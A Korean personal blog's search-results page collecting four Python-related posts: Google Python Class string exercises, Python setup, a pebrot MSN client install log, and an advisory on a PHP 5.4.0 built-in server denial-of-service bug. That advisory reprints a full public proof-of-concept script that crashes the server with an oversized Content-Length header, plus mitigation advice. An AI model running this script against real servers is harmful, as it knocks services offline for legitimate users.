Search results The results is only based on Apollo89.com
4 posts are related to 'python'
  1. 2012/05/01 파이썬(python) 스터디 - String
  2. 2012/05/01 파이썬(python) 스터디 - 설치
  3. 2012/03/28 PHP에서 원격 서비스 거부 취약성이 발견
  4. 2007/07/02 pebrot 설치
파이썬(python) 스터디 - String posted on 2012/05/01 22:55, filed under Develop-Programing
파이썬(python) 스터디 - String

Programming Languages 에서 Google's Python Class 의 String 을 스터디..

http://code.google.com/intl/ko-KR/edu/languages/google-python-class/strings.html

대충 읽고 나니 연습문제가!

지난번에 받은 google-python-exercises 에서 basic/string1.py 을 풀어보았다.

# A. donuts
# Given an int count of a number of donuts, return a string
# of the form 'Number of donuts: <count>', where <count> is the number
# passed in. However, if the count is 10 or more, then use the word 'many'
# instead of the actual count.
# So donuts(5) returns 'Number of donuts: 5'
# and donuts(23) returns 'Number of donuts: many'
def donuts(count):
  result = 'Number of donuts: ';
  if count >= 10: result = result + 'many'
  else: result = result + str(count)
  return result


# B. both_ends
# Given a string s, return a string made of the first 2
# and the last 2 chars of the original string,
# so 'spring' yields 'spng'. However, if the string length
# is less than 2, return instead the empty string.
def both_ends(s):
  if len(s) > 2: result = s[0:2] + s[-2:]
  else: result = ''
  return result


# C. fix_start
# Given a string s, return a string
# where all occurences of its first char have
# been changed to '*', except do not change
# the first char itself.
# e.g. 'babble' yields 'ba**le'
# Assume that the string is length 1 or more.
# Hint: s.replace(stra, strb) returns a version of string s
# where all instances of stra have been replaced by strb.
def fix_start(s):
  result = s.replace(s[0], '*')
  return s[0] + result[1:]


# D. MixUp
# Given strings a and b, return a single string with a and b separated
# by a space '<a> <b>', except swap the first 2 chars of each string.
# e.g.
#   'mix', pod' -> 'pox mid'
#   'dog', 'dinner' -> 'dig donner'
# Assume a and b are length 2 or more.
def mix_up(a, b):
  left = b[0:2] + a[2:]
  right = a[0:2] + b[2:]
  return left + " " + right



결과 :
basic apollo89$ python string1.py 
donuts
 OK  got: 'Number of donuts: 4' expected: 'Number of donuts: 4'
 OK  got: 'Number of donuts: 9' expected: 'Number of donuts: 9'
 OK  got: 'Number of donuts: many' expected: 'Number of donuts: many'
 OK  got: 'Number of donuts: many' expected: 'Number of donuts: many'

both_ends
 OK  got: 'spng' expected: 'spng'
 OK  got: 'Helo' expected: 'Helo'
 OK  got: '' expected: ''
 OK  got: 'xyyz' expected: 'xyyz'

fix_start
 OK  got: 'ba**le' expected: 'ba**le'
 OK  got: 'a*rdv*rk' expected: 'a*rdv*rk'
 OK  got: 'goo*le' expected: 'goo*le'
 OK  got: 'donut' expected: 'donut'

mix_up
 OK  got: 'pox mid' expected: 'pox mid'
 OK  got: 'dig donner' expected: 'dig donner'
 OK  got: 'spash gnort' expected: 'spash gnort'
 OK  got: 'fizzy perm' expected: 'fizzy perm'
basic apollo89$ 





내친김에 basic/string2.py 까지 고고~

# D. verbing
# Given a string, if its length is at least 3,
# add 'ing' to its end.
# Unless it already ends in 'ing', in which case
# add 'ly' instead.
# If the string length is less than 3, leave it unchanged.
# Return the resulting string.
def verbing(s):
  if len(s) < 3: result = s
  else :
    if s[-3:] == 'ing': result = s + 'ly'
    if s[-3:] != 'ing': result = s + 'ing'
  return result


# E. not_bad
# Given a string, find the first appearance of the
# substring 'not' and 'bad'. If the 'bad' follows
# the 'not', replace the whole 'not'...'bad' substring
# with 'good'.
# Return the resulting string.
# So 'This dinner is not that bad!' yields:
# This dinner is good!
def not_bad(s):
  findNot = s.find('not')
  findBad = s.find('bad')
  if findBad > findNot: result = s[:findNot] + 'good' + s[findBad+3:]
  else: result = s
  return result


# F. front_back
# Consider dividing a string into two halves.
# If the length is even, the front and back halves are the same length.
# If the length is odd, we'll say that the extra char goes in the front half.
# e.g. 'abcde', the front half is 'abc', the back half 'de'.
# Given 2 strings, a and b, return a string of the form
#  a-front + b-front + a-back + b-back
def front_back(a, b):

  if len(a)%2 == 1:
    aFront = a[0:(len(a)/2)+1]
    aBack = a[(len(a)/2)+1:]
  else:
    aFront = a[0:(len(a)/2)]
    aBack = a[(len(a)/2):]

  if len(b)%2 == 1:
    bFront = b[0:(len(b)/2)+1]
    bBack = b[(len(b)/2)+1:]
  else:
    bFront = b[0:(len(b)/2)]
    bBack = b[(len(b)/2):]
       
  return aFront + bFront + aBack + bBack


결과 :
basic apollo89$ python string2.py 
verbing
 OK  got: 'hailing' expected: 'hailing'
 OK  got: 'swimingly' expected: 'swimingly'
 OK  got: 'do' expected: 'do'

not_bad
 OK  got: 'This movie is good' expected: 'This movie is good'
 OK  got: 'This dinner is good!' expected: 'This dinner is good!'
 OK  got: 'This tea is not hot' expected: 'This tea is not hot'
 OK  got: "It's bad yet not" expected: "It's bad yet not"

front_back
 OK  got: 'abxcdy' expected: 'abxcdy'
 OK  got: 'abcxydez' expected: 'abcxydez'
 OK  got: 'KitDontenut' expected: 'KitDontenut'
basic apollo89$ 














크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/01 22:55 2012/05/01 22:55


파이썬(python) 스터디 - 설치 posted on 2012/05/01 22:46, filed under Develop-Programing
파이썬(python) 스터디 - 설치


파이썬 스터디를 시작했다..

Google Code 에 좋은 Code University 가 있더라..

http://code.google.com/intl/ko-KR/edu/


Programming Languages 에서 Google's Python Class 부터 시작하기로 했다.

먼저 Python Set Up 부터..

http://www.python.org/download/ 에 가면 각종 버전별로 다운로드 받을 수 있다.


자신의 OS 에 맞게 다운받고 설치한다.

그 다음 아래의 연습문제 코드를 받아서 압축을 풀고 코드를 실행해서 아래와 같이 나오면 성공!

http://code.google.com/edu/languages/google-python-class/google-python-exercises.zip


google-python-exercises apollo89$ python hello.py 
Hello World
google-python-exercises apollo89$ python hello.py apollo89
Hello apollo89
google-python-exercises apollo89$ 








크리에이티브 커먼즈 라이센스
Creative Commons License
2012/05/01 22:46 2012/05/01 22:46



PHP에서 원격 서비스 거부 취약성이 발견


공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시켜, 정상 사용자들에 대한 액세스가 거부될 수 있다.

PHP는 웹 개발에 최적화된 범용 스크립트 언어이며, HTML에 삽입될 수 있다.

PHP는 'Content-Length' 헤더에 영향을 주는 원격 서비스 거부 취약성을 갖는다. 특히, 이 취약성은 'sapi/cli/php_cli_server.c' 소스 파일의 'pemalloc()' 함수에 영향을 준다.

공격자가 이 취약성을 이용해 사용 가능한 메모리를 소진시킴으로써, 서비스 거부 상태를 발생시킬 수 있다.

PHP 5.4.0 버전이 취약하다; 다른 버전도 영향을 받을 수 있다.

다음 공격 코드가 발표되었다:


#!/usr/bin/python
 
# Title:      PHP 5.4.0 Built-in Web Server DoS PoC
# Date:       16 March 2012
# Author:     ls (contact@kaankivilcim.com)
# Reference:  https://bugs.php.net/bug.php?id=61461
# Comments:   Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV
 
# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c
# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate
# the process with the error message "Out of memory".
#
# 1537 if (!client->request.content) {
# 1538   client->request.content = pemalloc(parser->content_length, 1);
# 1539   client->request.content_len = 0;
# 1540 }
#
# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012
# Listening on 127.0.0.1:80
# Document root is /tmp
# Press Ctrl-C to quit.
# Out of memory
 
import socket, sys
 
target = "xxx.xxx.xxx.xxx"
port   = 80;
 
request  = "POST / HTTP/1.1\n"
request += "Content-Type: application/x-www-form-urlencoded\n"
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target
request += "A=B\n\n"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  s.connect((target, port))
except:
  print "[-] Connection to %s:%s failed!" % (target, port)
  sys.exit(0)
 
print "[+] Sending HTTP request. Check for crash on target."
 
s.send(request)
s.close()


외부로 서비스를 제공할 필요가 없는 경우, 네트워크 경계에서 외부로부터의 액세스를 차단한다.
가능한, 취약한 소프트웨어를 호스트하고 있는 서버에 대한 외부로부터의 액세스를 차단한다. 내부 또는 신뢰된 네트워크와 컴퓨터에 대해서만 액세스를 허용한다.

네트워크 침입 탐지 시스템을 적용하여 네트워크상의 악의적 활동을 모니터링한다.
NIDS를 적용하여 NOP 명령이나 알 수 없는 내부 또는 외부로 향하는 트래픽이 포함된 요청과 같은 비정상적이거나 수상한 네트워크 트래픽을 모니터링한다. 이러한 네트워크 트래픽은 공격 시도나 성공적인 공격으로 인해 발생하는 활동을 나타낼 수 있다.


크리에이티브 커먼즈 라이센스
Creative Commons License
2012/03/28 09:00 2012/03/28 09:00


pebrot 설치 posted on 2007/07/02 23:15, filed under Develop


서버에 MSN 메신져를 깔았다..ㅋ

예전에 나모씨가 알려준 pebrot이 갑자기 생각나서..ㅋ

서버에서 하는 text msn의 재미란..ㅋㅋ

홈페이지는 http://pebrot.sourceforge.net/ 이다.

pebrot-0.8.8.tar.gz을 다운받고..

압축을 푼다.
$ tar xvzf pebrot-0.8.8.tar.gz
설치 문서 확인.
$ vi INSTALL
root로 실행하란다..ㅋ
설치
# python setup.py install
  File "setup.py", line 29
    utils+= [ ( 'share/doc/pebrot/utils/transparent_bg', glob.glob( 'utils/transparent_bg/*' ) ) ]
          ^
SyntaxError: invalid syntax
#

오호...

이게 웬말인가
                                                                       
Syntax Error라니..ㅡㅡ;;

정보를 얻기위해 다시 pebrot 홈페이지에 방문하니 이런 문구가..ㅡㅡ;

"You must have Python 2.2 or higher installed, Python 1.5.x is not supported. "

혹시나 하는 마음에 python 버전을 확인했다.

# python
Python 1.5.2 (#1, Jan 31 2003, 10:58:35)  [GCC 2.96 20000731 (Red Hat Linux 7.3 2 on linux-i386
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>>
#

두둥!!

python 1.5 버전이다..ㅋ

아싸리 이번에 python도 새버전으로 깔자는 마음에 python 홈페이지를 방문했다.

http://www.python.org/ 에서 가장 최신버전인 2.5.1을 다운받았다.(http://www.python.org/download/releases/2.5.1/)

Python-2.5.1.tgz의 압축을 풀고

가뿐하게 설치했다.
# ./configure
# make
# make intall

다시 python으로 확인해봐도 1.5버전이 실행된다.

whereis 로 어디 python이 실행되는지 확인해봤다.

# whereis python
python: /usr/bin/python1.5 /usr/bin/python /usr/bin/python2.2 /usr/lib/python1.5 /usr/lib/python2.2 /usr/local/bin/python2.5 /usr/local/bin/python2.5-config /usr/local/bin/python /usr/local/lib/python1.5 /usr/local/lib/python2.5 /usr/include/python1.5 /usr/include/python2.2
# ls -al /usr/bin/py*
-rwxr-xr-x    1 root     root           51 Jan 31  2003 pydoc2
-rwxr-xr-x    1 root     root        18175 Jan 31  2003 pygettext2.py
-rwxr-xr-x    1 root     root           64 Jan 31  2003 pynche2
-rwxr-xr-x    2 root     root       413032 Feb  1  2003 python
-rwxr-xr-x    2 root     root       413032 Feb  1  2003 python1.5
-rwxr-xr-x    2 root     root       887296 Jan 31  2003 python2
#

오호라..이러니 자꾸 1.5버전이 실행되는 것이였다.

python2.5는 /usr/local/bin/python2.5에 짱박혀있다.

# cp /usr/local/bin/python2.5 /usr/bin/python

으로 덮어쓰기 신공!!ㅋ

다시 버전확인~

# python
Python 2.5.1 (r251:54863, Jul  2 2007, 22:27:27)
[GCC 2.96 20000731 (Red Hat Linux 7.3 2.96-113)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
#

성공ㅋㅋ

아까하던 pebrot 설치를 계속해보자

# python setup.py install
후후룩~~
#

무소식이 희소식이라 아무런 에러가 없다.ㅋㅋ

개인 계정으로 바꿔서 ./pebrot을 실행해봤다

$ ./pebrot

I can't find /home/XXXX/.pebrot/pebrotrc, so I will copy the supplied pebrotrc there.
Press Enter to continue...
Please edit /home/XXXX/.pebrot/pebrotrc and specify your login and password.
$

ㅋㅋ 설정파일을 설정하란다.

$ vi /home/XXXX/.pebrot/pebrotrc

로 설정파일을 봤다.

user=xxxx@hotmail.com
password=xxxx
encoding= EUC-KR
download_dir= /home/XXXX/.pebrot/down

등 몇개의 설정을 바꾸고 다시 실행ㅋ

$ ./pebrot


      /\  
      \ \
 _.-._| |_.-_ 
(      ~     )
`; #   ;    ;    ###   ##  ###  ###   ##  #####
 |     .    |    #  # #    #  # #  # #  #   #
 ( #   ;    ;    ###  ###  ###  ###  #  #   #
 \ #   .   )     #    #    #  # # #  #  #   #

Version - 0.8.8
Enter \h for help.

User: xxxx@hotmail.com
Connecting to messenger.hotmail.com... done
Connecting to 207.46.107.25... done


----------=| CONNECTED |=----------
0- email1@email.com (Idle): 모시깽이 별명~~
1- email@email.com (Online): 누구누구~~
2- email@email.com (Busy): 머기시머시기~~
...등등 기타 여러명
-----------------------------------


멋지다!!

사용법을 볼려면 \h하면 나온다.
----------=| HELP |=----------
Commands begin with '\' or '/', everything else are messages.

    \number     Create chat to user with this number.
    \c          Close active chat.
    tab         Change active chat.
    \i number   Invite user to active chat.
    \l          List connected users.
    \l list     Show requested list. list must be one of the following:
                  fl: Forward list, users on your contact list
                  rl: Reverse list, users who have you on their contact list
                  al: Allow list, users allowed to see your status
                  bl: Block list, users not allowed to see your status
    \u          List users on active chat.
    \n          Change nick.
    \a user     Add user to buddy list.
    \b user     Block user.
    \r user     Remove user from buddy list.
    \o user     Open chat window with a user not on your buddy list.  
    \s state    Change state. state must be one of the following:
                  nln: Online          fln: Offline        hdn: Appear Offline
                  idl: Idle            awy: Away           bsy: Busy
                  brb: Be Right Back   phn: On the Phone   lun: Out to Lunch
    \f filePath Send file.
    \fa         Accept file for download.
    \fr pos     Reject file for download. pos specifies its position on chat
                  bar (1,2,3....). Can input several numbers at once, just
                  separate them with spaces.
                  If executed without any pos just rejects all file downloads
    \fc pos     Cancel file send. pos works like in '\fr'
    \!          Execute shell command.
    \e          Erase chat window contents. 
    \d file     Dump chat text to file. If no file is supplied it will use a
                  temporal file name.
    Ctrl-l      Redraw screen.
    \h \?       This help.
    \q Ctrl-d   Quit.
------------------------------


그러면 즐거운 메신져질 해볼까~ㅋ



크리에이티브 커먼즈 라이센스
Creative Commons License
2007/07/02 23:15 2007/07/02 23:15


Total: 213296 (Today: 87, Yesterday: 81)

RSS
읽고 있는 책